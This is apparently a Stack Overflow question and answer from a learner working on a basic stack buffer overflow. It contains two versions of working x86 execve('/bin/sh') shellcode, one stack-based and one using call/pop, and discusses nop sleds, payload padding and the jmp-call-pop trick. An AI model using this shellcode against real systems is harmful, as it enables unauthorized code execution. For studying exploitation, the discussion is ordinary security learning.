1

I am trying to learn how to do a basic buffer overflow attack. I have working assembly and correct shellcode (no null bytes or references to other data). The assembly is as follows:

;clear out registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
;execve("//bin/sh",NULL,NULL)
mov al, 11
;ascii for //bin/sh
;2f 2f 62 69 6e 2f 73 68
; push null bytes on to stack
push bx
push 0x68732f6e
push 0x69622f2f
;set ebx to //bin/sh
mov ebx, esp
;call execve
int 0x80

When I run the assembly by itself, it works fine. and when I construct the shell code from it, using a nop sled and the correct address, I a able to overwrite eip and get it to start executing my assembly.

The problem is that, since my instructions are stored on the stack ( in a 64 byte buffer) the second push instruction overwrites the final instruction in my code. So int 0x80 is never executed because it is replaced with 2f2f. Can anyone tell me how I might work around or fix that problem?

a1j9o94
  • 23
  • 4
  • Unintentionally overwriting stuff that follows the intended buffer is the definition of a buffer overflow... – keshlam Dec 30 '13 at 03:28
  • I know, but I'm overwriting a second time which I don't want to do. The first time I successfully overwrite the saved eip and get it to start executing my code, but once my code starts executing it is overwrites its self which I do not want. I am trying to figure out how to use the string that I need, "//bin/sh" without overwriting the final instruction. – a1j9o94 Dec 30 '13 at 03:36

1 Answers1

-1

Try with relocatable code and data. This last thing is acomplished by figuring out what address our code is in, like this:

         call next    ;push address of next instruction to stack.
         nop          ;this is to avoid offset in CALL instruction to be 0.
next:    pop ebx      ;EBX holds this very same code address
         xor ecx,ecx
         mov cl,exename-next   ;ECX is offset to exename
         add ebx,ecx  ;now EBX points to exename
         xor eax,eax
         xor ecx,ecx
         xor edx,edx
         mov al,11
         int 80h
exename: db "/bin/sh",0

The CALL instruction is a CALL NEAR one actually, so it uses an offset, not an absolute address and hence, is relocatable. This code uses only 4 bytes of stack instead of 12.

mcleod_ideafix
  • 11,128
  • 2
  • 24
  • 32
  • Thank you I'll will have to try that method also. I was able to figure it out by offsetting the actually shell code in the payload. Originally I had the nop's then the shellcode then 4 bytes of garbage and then the address. But I put two nop's behind the shell code and that fixed it. – a1j9o94 Dec 30 '13 at 04:17
  • Avoiding zeros in `call rel32` means you either need to jump backwards, or you need to jump forwards by 2^24 bytes. There is no `call rel8`, but there is a `jmp rel8`. The standard trick is to put the `call` right before `exename` so it pushes the address you want, no need for an `add reg, imm8` fixup. So the first instruction is a `jmp` to the `call`, and the `call` calls backwards to a `pop`. – Peter Cordes Nov 09 '22 at 22:07
  • Example of it in [How can I get a string returned from a function executed from a byte array?](https://stackoverflow.com/q/71101184) – Peter Cordes Nov 09 '22 at 22:09